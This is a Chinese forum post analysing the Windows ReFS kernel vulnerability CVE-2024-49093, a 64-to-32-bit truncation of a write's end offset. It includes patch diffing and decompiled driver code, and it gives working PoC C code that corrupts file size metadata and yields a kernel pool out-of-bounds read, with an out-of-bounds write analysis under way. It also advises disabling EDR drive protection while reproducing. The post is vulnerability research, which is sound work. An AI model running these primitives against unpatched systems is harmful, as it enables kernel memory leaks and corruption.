-
-
[讨论]CVE-2024-49093(ReFS漏洞分析)
-
发表于: 2025-10-11 14:26 414
-
前言
本文分析一个去年出现在 refs.sys 的 Windows 内核漏洞: CVE-2024-49093. 测试环境基于Windows 11 24H2(Build 26100)。
背景知识
ReFS(Resilient File System):是 Microsoft 开发的新一代文件系统,目标是最大化数据可用性、在多样化工作负载下高效扩展海量数据,并通过校验与修复增强数据完整性和抗损坏能力。ReFS 旨在解决不断扩展的存储需求,并为后续功能创新奠定基础。
在 ReFS 中,大多数对象以键值表的形式组织;其内部实现为 B+ 树,Microsoft 将该实现称为 MinStore B+。数据写入 ReFS 时不做就地更新,而是采取写时复制(Copy-on-Write,COW):有效载荷保存在叶节点,修改时生成新的叶节点承接旧数据再应用变更,并自底向上以 COW 方式更新父节点指针直至根。
常驻 / 非常驻(resident / non-resident):ReFS 将文件的名称、数据、ACL 等都抽象为“属性(attribute)”。当某个属性的数据较小即可内联存储于记录时称为 resident;否则切换为 non-resident,由一张 VCN→LCN 的运行列表(runlist)描述其落盘范围。
漏洞定位
官方公告:91cK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6E0M7%4u0U0i4K6u0W2L8h3W2U0M7X3!0K6L8$3k6@1i4K6u0W2j5$3!0E0i4K6u0r3N6i4m8V1j5i4c8W2i4K6u0V1k6%4g2A6k6r3g2Q4x3V1k6$3N6h3I4F1k6i4u0S2j5X3W2D9K9i4c8&6i4K6u0r3b7#2k6q4i4K6u0V1x3U0l9J5y4q4)9J5k6o6b7&6x3o6V1K6
根据公告可以知道补丁后的版本为10.0.26100.2605,定位到补丁:KB5048667。
借助993K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6E0M7%4u0U0i4K6u0W2L8h3W2U0M7X3!0K6L8$3k6@1i4K6u0W2j5$3!0E0i4K6u0r3N6i4m8V1j5i4c8W2i4K6u0V1k6%4g2A6k6r3g2Q4x3V1k6$3N6h3I4F1k6i4u0S2j5X3W2D9K9i4c8&6i4K6u0r3b7#2k6q4i4K6u0V1x3U0l9J5y4q4)9J5k6o6b7&6x3o6V1K6这个网站,搜索过滤条件为10.0.26100:

可见 10.0.26100.2454 大概就是修复前的累积版本。将补丁前后 refs.sys 比较(bindiff):

补丁版仅新增两个函数,模式特征符合 WIL(Windows Implementation Library) 风格的“特性开关”检测。微软通过加开关而非直接改旧逻辑的方式修复,便于回滚与分阶段放量。
通过交叉引用,定位到被开关管控的函数:RefsAddAllocationForResidentWrite
漏洞成因分析
官方描述为 CWE-681: Incorrect Conversion between Numeric Types(数值类型转换不当)。
观察漏洞函数相关的反汇编代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 | char __fastcall RefsAddAllocationForResidentWrite( struct _IRP_CONTEXT *a1, struct _SCB *scb, struct _CCB *ccb, READ_RANGE *ranges){ LARGE_INTEGER ValidDataLength; // xmm1_8 char v9; // si int IsEnabledDeviceUsageNoInline; // eax unsigned int v11; // r8d int ver; // ecx bool patch_close; // zf int v14; // eax unsigned __int64 QuadPart; // rdx __int16 v16; // cx unsigned __int16 v17; // ax DWORD LowPart; // edx __int16 v19; // cx unsigned __int16 v20; // ax __int64 v21; // rcx struct _CC_FILE_SIZES v23; // [rsp+30h] [rbp-28h] BYREF ValidDataLength = scb->FileSizes.ValidDataLength; *(_OWORD *)&v23.AllocationSize.LowPart = *(_OWORD *)&scb->FileSizes.AllocationSize.LowPart; v9 = 0; v23.ValidDataLength = ValidDataLength; IsEnabledDeviceUsageNoInline = Feature_4213557561__private_IsEnabledDeviceUsageNoInline(); v11 = 0x20000; ver = *((unsigned __int8 *)scb->VolumeContext + 792) << 8; patch_close = IsEnabledDeviceUsageNoInline == 0; v14 = *((unsigned __int8 *)scb->VolumeContext + 793); if ( !patch_close ) { if ( (v14 | (unsigned int)ver) < 0x30B && ranges->end.QuadPart > 0x20000 ) { if ( WPP_GLOBAL_Control != (PDEVICE_OBJECT)&WPP_GLOBAL_Control && (HIDWORD(WPP_GLOBAL_Control->Timer) & 0x100) != 0 && BYTE1(WPP_GLOBAL_Control->Timer) >= 4u ) { WPP_SF_D( WPP_GLOBAL_Control->AttachedDevice, 61LL, &WPP_4cc128319a6039b1fc529169f1e3c3a9_Traceguids, 0xC0000427LL); } if ( (_BYTE)RefsStatusDebugEnabled ) RefsStatusDebug(0xC0000427, a1, "write.c", 0x1097u); RefsRaiseStatusInternal(a1, 0xC0000427, v11); __debugbreak(); } QuadPart = ranges->end.QuadPart; if ( ccb ) { v16 = *((_WORD *)ccb + 41); if ( v16 ) { QuadPart = scb->FileSizes.AllocationSize.LowPart + ((QuadPart - scb->FileSizes.AllocationSize.LowPart) << v16); if ( QuadPart > 0x20000 ) QuadPart = 0x20000LL; if ( (scb->ScbState & 1) == 0 ) _InterlockedOr(&scb->ScbState, 1u); } v17 = *((_WORD *)ccb + 41); if ( v17 < 4u ) *((_WORD *)ccb + 41) = v17 + 1; } if ( (*((unsigned __int8 *)scb->VolumeContext + 793) | (*((unsigned __int8 *)scb->VolumeContext + 792) << 8)) < 0x30Bu// ver || QuadPart < 0x800 ) { v23.AllocationSize.QuadPart = QuadPart; v23.FileSize.QuadPart = QuadPart; goto LABEL_29; }LABEL_27: RefsConvertToNonResident(a1, scb); return 1; } if ( (v14 | (unsigned int)ver) < 0x30B && ranges->end.QuadPart > 0x20000 )// 如果版本小于0x30B并且写入的End指针大于0x20000 { if ( WPP_GLOBAL_Control != (PDEVICE_OBJECT)&WPP_GLOBAL_Control && (HIDWORD(WPP_GLOBAL_Control->Timer) & 0x100) != 0 && BYTE1(WPP_GLOBAL_Control->Timer) >= 4u ) { WPP_SF_D(WPP_GLOBAL_Control->AttachedDevice, 62LL, &WPP_4cc128319a6039b1fc529169f1e3c3a9_Traceguids, 0xC0000427LL); } if ( (_BYTE)RefsStatusDebugEnabled ) RefsStatusDebug(0xC0000427, a1, "write.c", 0x10EFu); RefsRaiseStatusInternal(a1, 0xC0000427, v11); JUMPOUT(0x1C00F3262LL); } LowPart = ranges->end.LowPart; if ( ccb ) { v19 = *((_WORD *)ccb + 41); if ( v19 ) { LowPart = scb->FileSizes.AllocationSize.LowPart + ((LowPart - scb->FileSizes.AllocationSize.LowPart) << v19); if ( LowPart > 0x20000 ) LowPart = 0x20000; if ( (scb->ScbState & 1) == 0 ) _InterlockedOr(&scb->ScbState, 1u); } v20 = *((_WORD *)ccb + 41); if ( v20 < 4u ) *((_WORD *)ccb + 41) = v20 + 1; } if ( (*((unsigned __int8 *)scb->VolumeContext + 793) | (*((unsigned __int8 *)scb->VolumeContext + 792) << 8)) >= 0x30Bu && LowPart >= 0x800 ) { goto LABEL_27; } v23.AllocationSize.QuadPart = LowPart; v23.FileSize.QuadPart = LowPart;LABEL_29: v23.ValidDataLength.QuadPart = scb->FileSizes.ValidDataLength.QuadPart; RefsWriteFileSizes(a1, scb, &v23, 1u); v21 = v23.AllocationSize.QuadPart; scb->FileSizes.AllocationSize.QuadPart = v23.AllocationSize.QuadPart; if ( scb->NodeTypeCode == 0x805 ) scb->ValidDataHighWatermark = v21; return v9;} |
通过动态调试,可以分析出第四个参数的结构体字段含义;分别是 WriteFile 写入时的偏移、偏移+写入长度指向的末尾、写入的长度。
1 2 3 4 5 6 | struct READ_RANGE{ LARGE_INTEGER offset; LARGE_INTEGER end; LARGE_INTEGER size;}; |
漏洞函数分析
这个函数作用是什么?我们只分析 ReFS 版本 ≥ 3.11 的情况
函数处理驻留(resident)数据流的写入路径;阈值为 0x800(2 KiB)
当写入末端 ranges->end 未超过常驻阈值时:通过扩驻留满足写入。
当写入末端 超过常驻阈值时:把流从驻留转换为非驻留,返回 True,随后由 RefsAddAllocationForNonResidentWrite 执行真正的非驻留扩展。
代码中的 ccb 某字段(((WORD)ccb + 41))用于在短时间多次写入时做指数式增长(最多+4),再以 0x20000 做上限收敛;这属于写入放大控制的实现细节,对我们分析这个漏洞没有太大影响。
漏洞分析
分析补丁前后的两个代码分支,可以很明显地看到差异点:对 end 使用 64 位(QuadPart)还是误用 32 位(LowPart)。
存在补丁的分支:
1 2 3 4 | QuadPart = ranges->end.QuadPart;// 检查阈值(ReFS ≥ 3.11:0x800)v23.AllocationSize.QuadPart = QuadPart;v23.FileSize.QuadPart = QuadPart; |
没有补丁(存在漏洞)分支:
1 2 3 4 | LowPart = ranges->end.LowPart;// 检查阈值(ReFS ≥ 3.11:0x800)v23.AllocationSize.QuadPart = LowPart;v23.FileSize.QuadPart = LowPart; |
也就是说,漏洞路径把本应 64 位的写入末端 end 截断成了 32 位 LowPart,然后用这个截断值去做阈值判断和尺寸更新,导致与实际数据范围不一致的问题。这与官方描述的 “数字类型之间的转换不正确” 吻合。
PoC
使用 ReFS 文件系统可能需要升级到工作站版,升级完毕后,需要创建一个 ReFS 格式的R盘。
依据上一步的漏洞分析,要触发漏洞我们只需要保证下面的两个条件:
(size + offset) 的 高 32 位不为 0(即写入末端跨过 4 GiB 边界);
(size + offset) 的 低 32 位 < 0x800(让阈值判断落入“驻留仍可扩”的错误分支)。
可以非常容易写出下面的PoC代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 | HANDLE hc = CreateFileW( L"R:\\233333", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);DWORD written = 0;BYTE ddd[0x40];OVERLAPPED ov = {};ov.Offset = 0; // 低 32 位ov.OffsetHigh = 1; // 高 32 位非 0,写末端跨 4GiBWriteFile(hc, ddd, sizeof(ddd), &written, &ov); |
崩溃栈:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 | BUGCHECK_CODE: 34BUGCHECK_P1: 59dBUGCHECK_P2: ffffffffc0000420BUGCHECK_P3: 0BUGCHECK_P4: 0EXCEPTION_RECORD: ffffffffc0000420 -- (.exr 0xffffffffc0000420)Cannot read Exception record @ ffffffffc0000420PROCESS_NAME: poc.exeSTACK_TEXT: fffff28b`362c6628 fffff803`9b7714c2 : fffff28b`362c66a8 00000000`00000001 00000000`00000100 fffff803`9b893601 : nt!DbgBreakPointWithStatusfffff28b`362c6630 fffff803`9b7709ec : 00000000`00000003 fffff28b`362c6790 fffff803`9b893820 00000000`00000034 : nt!KiBugCheckDebugBreak+0x12fffff28b`362c6690 fffff803`9b6b8657 : ffffa505`7dee3090 fffff803`9b41a9ed ffffa505`00001000 fffff803`9b47450e : nt!KeBugCheck2+0xb2cfffff28b`362c6e20 fffff803`9b51261d : 00000000`00000034 00000000`0000059d ffffffff`c0000420 00000000`00000000 : nt!KeBugCheckEx+0x107fffff28b`362c6e60 fffff803`9b512f3b : fffff28b`00000000 00000001`00000000 fffff28b`362c6f78 fffff28b`362c6f50 : nt!CcGetVirtualAddress+0x5cdfffff28b`362c6ef0 fffff803`9b512940 : ffffa505`804205e0 000000db`32dcfa60 fffff28b`362c7140 ffffc801`00000400 : nt!CcMapAndCopyInToCache+0x45bfffff28b`362c70d0 fffff803`9b671629 : 00000000`00000001 ffffa505`7eab11a0 ffffc801`768c2230 ffffc801`768c2201 : nt!CcCopyWriteEx+0x170fffff28b`362c7180 fffff803`30b06f91 : ffffc801`768c2230 000000db`32dcfa60 ffffa505`7b7abd40 ffffa505`7eab11a0 : nt!CcCopyWrite+0x19fffff28b`362c71c0 fffff803`30b069e1 : ffffa505`7ba81010 ffffa505`7c570790 ffffa505`7eab11a0 00000000`00000000 : ReFS!RefsCopyWriteInternal+0x591fffff28b`362c75c0 fffff803`2d00b192 : fffff28b`362c7729 000000db`32dcfa60 fffff28b`362c76e0 000000db`32dcfa60 : ReFS!RefsCopyWriteA+0x71fffff28b`362c7640 fffff803`2d0094b1 : fffff28b`362c77c0 fffff28b`362c7729 ffffa505`7fbad010 ffffa505`7fbad110 : FLTMGR!FltpPerformFastIoCall+0xb2fffff28b`362c76a0 fffff803`2d06caa2 : fffff28b`362c1000 00000000`00000000 ffffa505`7eab11a0 00000000`00000000 : FLTMGR!FltpPassThroughFastIo+0x121fffff28b`362c7790 fffff803`9ba8d1e4 : fffff28b`362c7800 00000000`00000000 00000000`00000000 fffff803`2d06c930 : FLTMGR!FltpFastIoWrite+0x172fffff28b`362c7840 fffff803`9ba8ce2f : ffffa505`7eab11a0 ffffa505`7eab1170 00000000`00000000 00000000`00000000 : nt!IopWriteFile+0x1c4fffff28b`362c7960 fffff803`9b88d155 : 00000000`0012019f 00000000`00000000 00000000`00000000 000000db`32dcfa38 : nt!NtWriteFile+0x2cffffff28b`362c7a30 00007ffd`bb6ff824 : 00007ffd`b8a40f7a 00000000`00000000 00007ffd`b8a187ab 00000000`00000008 : nt!KiSystemServiceCopyEnd+0x25000000db`32dcf968 00007ffd`b8a40f7a : 00000000`00000000 00007ffd`b8a187ab 00000000`00000008 000002b1`60503930 : ntdll!NtWriteFile+0x14000000db`32dcf970 00007ff7`319911af : 000002b1`60500b60 00000000`00000000 00000000`00000470 000000db`32dcfa20 : KERNELBASE!WriteFile+0x11a000000db`32dcf9e0 000002b1`60500b60 : 00000000`00000000 00000000`00000470 000000db`32dcfa20 00000001`00000000 : poc+0x11af000000db`32dcf9e8 00000000`00000000 : 00000000`00000470 000000db`32dcfa20 00000001`00000000 000000db`00000080 : 0x000002b1`60500b60 |
但是错误码0x34的crash并不是由内存破坏导致的,而是触发了文件缓存管理器的断言检查(缓存路径在尺寸不一致时会触发断言),导致快速I/O失败,并不能用于漏洞利用。因此 PoC 需要在 CreateFileW 时加上 FILE_FLAG_NO_BUFFERING 走非缓存 I/O。
非缓存 I/O 在ReadFile/WriteFile时,长度和偏移需要满足下面的对齐条件:
传输长度必须是卷扇区大小的整数倍(如 512/4096);
文件偏移必须从扇区对齐的偏移开始。
使用FILE_FLAG_NO_BUFFERING标志重新编写PoC代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 | HANDLE h = CreateFileW( L"R:\\233333", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL | FILE_FLAG_NO_BUFFERING, NULL);DWORD written = 0;BYTE ddd[0x200];OVERLAPPED ov = {};ov.Offset = 0;ov.OffsetHigh = 1;WriteFile(h, ddd, sizeof(ddd), &written, &ov); |
我们可以通过打印数据流的信息观察到漏洞造成的效果(分配大小≪文件大小):
1 2 3 4 5 | Z:\22>poc.exeWrite 512 bytes[Standard] AllocationSize = 0x200 bytes, EndOfFile(FileSize) = 0x100000200 bytes, Links=1, Dir=0, DeletePending=0[Streams] ::$DATA StreamSize=0x100000200 StreamAllocationSize=0x200 |
复现时建议关闭 EDR/安全中心的“驱动器保护”,否则其后台扫描会触发大范围读取,导致越界访问后蓝屏。
漏洞利用
本文仅分析到如何在内核池中实现越界读/写为止。
越界读
之前的 PoC 已将文件的数据流保持为 resident,仅分配 0x200 字节,同时把文件的 EndOfFile 扩大到 0x100000200,制造了 AllocationSize ≪ FileSize 的不一致状态:真实可用数据区远小于文件声明的大小。
那么很自然地可以想到如果使用ReadFile读取一个大于0x200字节长度的数据,是否就能直接越界读了?
下面以读取 0x1000 为例。先写入 0x200 个 'A',随后读 0x1000。如果 bytesRead == 0x1000,且 hexdump 打印中 0x200 之后仍有非零数据,即说明越界读成功。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 | HANDLE h = CreateFileW( L"R:\\233333", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL | FILE_FLAG_NO_BUFFERING, NULL);DWORD written = 0;BYTE ddd[0x200];memset(ddd, 'A', sizeof(ddd));OVERLAPPED ov = {};ov.Offset = 0;ov.OffsetHigh = 1;WriteFile(h, ddd, sizeof(ddd), &written, &ov);DWORD readBytes = 0x1000;LPVOID buf1 = VirtualAlloc(nullptr, readBytes, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);memset(buf1, 0, readBytes);DWORD bytesRead = 0;ov.Offset = 0;ov.OffsetHigh = 0;ok = ReadFile(h, buf1, readBytes, &bytesRead, &ov);if (!ok) { printf("ReadFile failed: %lu\n", GetLastError());}else { printf("Read %lu bytes\n", bytesRead); hexdump(buf1, bytesRead);} |
打印结果:

可以看到确实越界读出了数据,那么这些数据从哪来、落在哪个内核池里?
调用栈:
1 2 3 4 | 00 ffffab00`dc1aea78 fffff804`6c88b108 ReFS!RefsNonCachedResidentRead01 ffffab00`dc1aea80 fffff804`6c8b8caa ReFS!RefsCommonRead+0x10b802 ffffab00`dc1aec20 fffff804`d5cf79fe ReFS!RefsFsdRead+0x61a03 ffffab00`dc1af000 fffff804`67736afc nt!IofCallDriver+0xbe |
下面分析RefsNonCachedResidentRead函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 | void __fastcall RefsNonCachedResidentRead(_IRP_CONTEXT *a1, _IRP *a2, _SCB *a3, READ_RANGE *a4){ // 1) 绑定事务、构造键,用于在 MinStore B+ 表中定位这条常驻属性 memset(&v27, 0, sizeof(v27)); memset(&key, 0, sizeof(key)); CmsTable = (CmsTable *)*((_QWORD *)a3->Fcb + 32); RefsBindMinstoreTransaction(a1); inited = MsInitRowWithBuffer(&v27); Row = RefsInitializeScbAttributeKey(a3, &key, 0); if (Row >= 0) { // 2) MsFindRow(… , &key , inited) 查出记录,并把页上的那行拷到 inited 指向的缓冲 Row = MsFindRow(*((CmsVolume ***)a1 + 3), CmsTable, (__int64)&key); if (Row >= 0) { BYTE *Buffer = (BYTE *)inited->val_ptr; // 注意:val_ptr 已被 MsFindRow/CopyRow 填充 unsigned val_len = inited->val_len; // 3) 一系列边界合法性检查(略) // 读取 value 内部“用户负载”的起始偏移: unsigned valueOffset = *(DWORD*)&Buffer[*(USHORT*)(Buffer+8)] + *(USHORT*)(Buffer+8); // 4) 将用户态缓冲映射出来,然后把 [valueOffset + a4->Offset, 长度 a4->Length] // 直接 memmove 给用户 void* user = RefsMapUserBuffer(a2); memmove(user, &Buffer[a4->Offset + valueOffset], a4->Length); a2->IoStatus.Information = a4->Length; a2->IoStatus.Status = Row; } }} |
该函数大致做了以下:
1.绑定事务并构造键(由 RefsInitializeScbAttributeKey 生成),用于在 MinStore B+ 表中定位常驻属性行;
2.MsFindRow(..., key, outRow) 搜索记录,并将页内行通过 CmsRowWithBuffer::CopyRow 拷贝到 outRow;
3.从inited 上获取拷贝的源指针Buffer,随后将 [valueOffset + a4->Offset, 长度 a4->Length] 直接 memmove 到用户缓冲。
但是从IDA的反汇编代码来看,MsInitRowWithBuffer只是把 inited 清零并让它的 storage 指向 0x20 字节的内联缓冲;为什么 MsFindRow 之后 inited->val_ptr 就成为一段可读的记录值?
这要结合调用约定和汇编看实参位置:
1 2 3 4 5 6 7 8 | RefsNonCachedResidentRead:.text:00000001C00E3F8B call MsInitRowWithBuffer.text:00000001C00E3F90 mov r14, rax......text:00000001C00E3FB6 mov [rsp+20h], r14.text:00000001C00E3FBB lea r8, [rsp+148h+key].text:00000001C00E3FC0 mov rdx, rsi.text:00000001C00E3FC3 call MsFindRow |
将初始化后的inited指针写到了[rsp+0x20h],然后调用MsFindRow
MsFindRow:
1 2 3 4 5 6 7 | MsFindRow:.text:00000001C00C8310 sub rsp, 48h.text:00000001C00C8314 mov rax, rdx.text:00000001C00C8317 mov r9, [rsp+70h].text:00000001C00C831C mov rdx, rcx.text:00000001C00C831F mov rcx, rax.text:00000001C00C8322 call ?FindRow@CmsTable@@QEAAJPEAVCmsTransactionContext@@AEBU_CmsKey@@PEAVCmsRowWithBuffer@@W4Value@EmsPinRowFlags@@@Z ; CmsTable::FindRow(CmsTransactionContext *,_CmsKey const &,CmsRowWithBuffer *,EmsPinRowFlags::Value) |
在MsFindRow首先调整栈指针,然后将[rsp+70h]的值作为第四个参数,通过计算0x70 - 0x48 - 8 = 0x20,可以发现实际上MsFindRow的第四个变量其实就对应RefsNonCachedResidentRead函数的[rsp+0x20],也就是inited指针。
继续分析MsFindRow,MsFindRow 仅仅是把参数原封不动传给 CmsTable::FindRow,而后者会 PinInIndex 找到页上对应的记录,再调用 CmsTable::OutputRow 生成一个 _CmsRow 视图,最终交给:
1 | return CmsRowWithBuffer::CopyRow(a4 /*inited*/, &row, 0); |
继续分析CmsRowWithBuffer::CopyRow函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 | __int64 __fastcall CmsRowWithBuffer::CopyRow(struct CmsRowWithBuffer *cmsBuffer, const struct _CmsRow *a2, int a3){ // .... val_len = a2->val_len; if ( (_DWORD)val_len ) { key_ptr = a2->key.ptr; p_key_ptr = &a2->key.ptr; val_ptr = a2->val_ptr; p_val_ptr = &a2->val_ptr; if ( key_ptr >= val_ptr ) { v11 = (unsigned int)val_len; if ( key_ptr <= &val_ptr[val_len] ) // 这两个判断检查key指针是否在value区间内 { v12 = ((a3 + 7) & 0xFFFFFFF8) + ((val_len + 7) & 0xFFFFFFF8); goto LABEL_11; } } } key_len = (unsigned int)a2->key.len; v11 = val_len; if ( !(_DWORD)key_len || !(_DWORD)val_len ) { p_key_ptr = &a2->key.ptr; p_val_ptr = &a2->val_ptr;LABEL_9: v16 = (key_len + 7) & 0xFFF8; goto LABEL_10; } ptr = a2->key.ptr; p_key_ptr = &a2->key.ptr; v15 = a2->val_ptr; p_val_ptr = &a2->val_ptr; if ( &ptr[key_len] < v15 || &ptr[key_len] > &v15[val_len] )// if(key_end_ptr < val_ptr || key_end_ptr > val_end_ptr) goto LABEL_9; v16 = (_WORD)v15 - (_WORD)ptr; // val_ptr - key_ptr 计算两个空间的间隙LABEL_10: v12 = v16 + ((val_len + 7) & 0xFFFFFFF8) + ((a3 + 7) & 0xFFFFFFF8);// val_len 8字节向上取整 if ( !(_DWORD)val_len ) {LABEL_13: v17 = 0; goto LABEL_14; }LABEL_11: if ( *p_key_ptr < *p_val_ptr || *p_key_ptr > &(*p_val_ptr)[v11] ) goto LABEL_13; v17 = 1;LABEL_14: if ( !cmsBuffer->storage ) CmsRowWithBuffer::Reset(cmsBuffer); if ( v12 > cmsBuffer->capacity ) // 如果大于之前的空间,则要重新创建新的空间 { v18 = 8 * ((unsigned __int64)v12 >> 3); // 保证8字节对齐 if ( !is_mul_ok((unsigned __int64)v12 >> 3, 8uLL) ) v18 = -1LL; PoolWithTag = (BYTE *)ExAllocatePoolWithTag((POOL_TYPE)0x200, v18, 'iPSM'); if ( !PoolWithTag ) return 0xC000009ALL; if ( (cmsBuffer->flags & 1) != 0 ) // 如果之前已经用是申请的池空间 { storage = cmsBuffer->storage; if ( storage ) ExFreePoolWithTag(storage, 0); // 那么需要还要释放掉之前的空间 } cmsBuffer->flags |= 1u; cmsBuffer->storage = PoolWithTag; // 赋值新的 cmsBuffer->capacity = v12; } v20 = cmsBuffer->storage; v21 = &cmsBuffer->row.val_ptr; cmsBuffer->row.key.ptr = v20; len = a2->key.len; cmsBuffer->row.key.len = a2->key.len; cmsBuffer->row.val_ptr = v20; cmsBuffer->row.val_len = a3 + a2->val_len; if ( v17 ) { v20 += (unsigned int)(LODWORD(a2->key.ptr) - LODWORD(a2->val_ptr)); cmsBuffer->row.key.ptr = v20; goto LABEL_29; } v23 = (unsigned int)a2->key.len; if ( (_DWORD)v23 && (v24 = a2->val_len, (_DWORD)v24) ) { v25 = a2->key.ptr; v26 = a2->val_ptr; if ( &v25[v23] >= v26 ) { v21 = &cmsBuffer->row.val_ptr; if ( &v25[v23] <= &v26[v24] ) { v27 = (_WORD)v26 - (_WORD)v25; goto LABEL_28; } } } else { LOWORD(v23) = a2->key.len; } v27 = (v23 + 7) & 0xFFF8;LABEL_28: *v21 = &v20[v27];LABEL_29: if ( len ) *(_QWORD *)&v20[((len + 7) & 0xFFFFFFF8) - 8] = 0LL; v28 = cmsBuffer->row.val_len; if ( v28 ) *(_QWORD *)&(*v21)[((v28 + 7) & 0xFFFFFFF8) - 8] = 0LL; cmsBuffer->row.key.flags = a2->key.flags; v29 = a2->key.ptr; if ( (unsigned __int64)(v29 - 2) <= 2 ) cmsBuffer->row.key.ptr = v29; else memmove(cmsBuffer->row.key.ptr, v29, (unsigned int)a2->key.len); memmove(cmsBuffer->row.val_ptr, a2->val_ptr, a2->val_len); return 0LL;} |
直接从函数名来看CmsRowWithBuffer::CopyRow 函数的作用就是把 _CmsRow复制进 CmsRowWithBuffer.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 | struct _CmsKey{ __int32 len; __int16 flags; __int16 field_6; BYTE *ptr;};struct _CmsRow{ _CmsKey key; unsigned int val_len; BYTE *val_ptr;};struct CmsRowWithBuffer{ _CmsRow row; BYTE *storage; __int8 flags; __int32 capacity; __int8 inline_storage[32];}; |
初始时storage指针指向inline_storage数组,capacity为0x20。
CmsRowWithBuffer::CopyRow其中有很多计算key_ptr和val_ptr重叠和间隙的代码,这里暂不分析其作用;
现在主要分析if ( v12 > cmsBuffer->capacity )里的代码,前面提到每个CmsRowWithBuffer里面都有0x20字节的内联,如果val_len大于capacity,那么就会尝试从池内存新开辟一段内存,然后替换掉原来的storage指针,并更新capacity,flags用于标记之前是否已经申请过池内存了,如果为1,则还需要释放掉原先申请的池内存。
以之前PoC代码为例,第一步WriteFile写入的数据流长度为0x200,加上0x3C的头长度,8字节向上取整以后,由此ExAllocatePoolWithTag会在池中分配 0x250 字节。
最后CmsRowWithBuffer::CopyRow 会调用memmove将之前的数据拷贝到新的内存上,完成对cmsBuffer的拷贝,并返回给RefsNonCachedResidentRead;
RefsNonCachedResidentRead从cmsBuffer取出val_ptr指针,也就是CmsRowWithBuffer::CopyRow申请的池内存作为memove的src指针,拷贝的长度为ReadFile指针的size。
总结:我们可以利用漏洞制造一个AllocationSize ≪ FileSize 的不一致状态的文件,然后读取一个超过写入长度的数据造成OOB read。
由于非缓存I/O的限制WriteFile的size必须是扇区大小的倍数,且要小于常驻阈值0x800,因此能够申请的长度为0x200、0x400、0x600,那么能够越界读的池长度为0x260、0x460、0x660;
越界写
WriteFile能否像ReadFile那样直接进行越界写?下面分析写入时最关键的函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 | __int64 __fastcall RefsResidentWrite( struct CmsTransactionContext **a1, struct _IRP *a2, struct _SCB *scb, int offset, unsigned int BytesToWrite){ char v9; // r14 NTSTATUS v10; // ebx BYTE *UserBuffer; // r9 CmsVolume **v12; // rcx CmsBPlusTable **Fcb; // rax NTSTATUS updated; // eax NTSTATUS v15; // ebx unsigned int v16; // r8d unsigned int v17; // r8d __int64 *v19; // [rsp+20h] [rbp-A8h] __int64 v20[2]; // [rsp+30h] [rbp-98h] BYREF CmsRowWithBuffer v21; // [rsp+40h] [rbp-88h] BYREF memset(&v21, 0, sizeof(v21)); v9 = 0; RefsBindMinstoreTransaction((struct _IRP_CONTEXT *)a1); v10 = RefsInitializeScbAttributeKey(scb, &v21, 1); if ( v10 >= 0 ) { if ( a2 ) { UserBuffer = (BYTE *)RefsMapUserBuffer(a2); if ( (a2->Flags & 2) != 0 ) { v9 = 1; *(_QWORD *)a1[3] |= 0x4000000uLL; } } else { UserBuffer = (BYTE *)&P; } v12 = (CmsVolume **)a1[3]; v20[0] = (unsigned int)(offset + scb->AttributeHdrLength); Fcb = (CmsBPlusTable **)scb->Fcb; v20[1] = BytesToWrite; v19 = v20; updated = MsUpdateMetaRow(v12, Fcb[32], &v21, UserBuffer); // ...} |
这里和读路径类似,RefsResidentWrite也是先由 RefsInitializeScbAttributeKey 构造行键;
这个函数同样有之前的IDA反汇编问题,实际上还封装了写入的范围__int64 v20[2]作为MsUpdateMetaRow的第五个参数,这俩个值分别为offset + scb->AttributeHdrLength和BytesToWrite。
之后调用MsUpdateMetaRow进行更新。
